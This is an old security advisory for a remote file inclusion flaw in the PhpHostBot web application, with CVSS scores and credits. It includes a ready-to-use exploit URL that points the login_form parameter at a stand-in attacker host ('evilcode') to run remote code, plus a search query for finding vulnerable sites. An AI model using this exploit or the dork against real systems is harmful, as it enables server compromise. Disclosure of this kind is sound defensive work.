PhpHostBot (login_form) Remote File Inclusion

2007.07.31
Credit: x_spy
Risk: High
Local: No
Remote: Yes
CVE: CVE-2007-4094
CWE: N/A


CVSS Base Score: 7.5/10
Impact Subscore: 6.4/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ ++++++++ + + PhpHostBot (login_form) Remote File Inclusion + + Download link : http://www.idevspot.com/PhpHostBot.php + ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ +++++++++ + + + Bug Found By :S4M3K (24-07-2007) + + contact: x_spy (at) mac (dot) com [email concealed] + + Website : http://www.m3ks.org/adv/m3ks-adv-24.7.07.txt + ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ ++++++++ + + + Greetz: Scr3W_W0rM, Nyubi, Home_edition2001, Dj-RuFfy, TOMMY_PENGAMEN, th0nk, + iFX, Cookie, VanDaMe, Dead + & All member on #nyubicrew @irc.mildnet.org + ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ ++++++++ + + Exploitation: + + http://[target]/[path]/library/authorize.php?login_form=http://evilcode? + ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ ++++++++ + + + google dork : "PhpHostBot" ; inurl:"PhpHostBot" + + ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ +++++++++


See this note in RAW Version
Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}
Copyright 2024, cxsecurity.com

 

Back to Top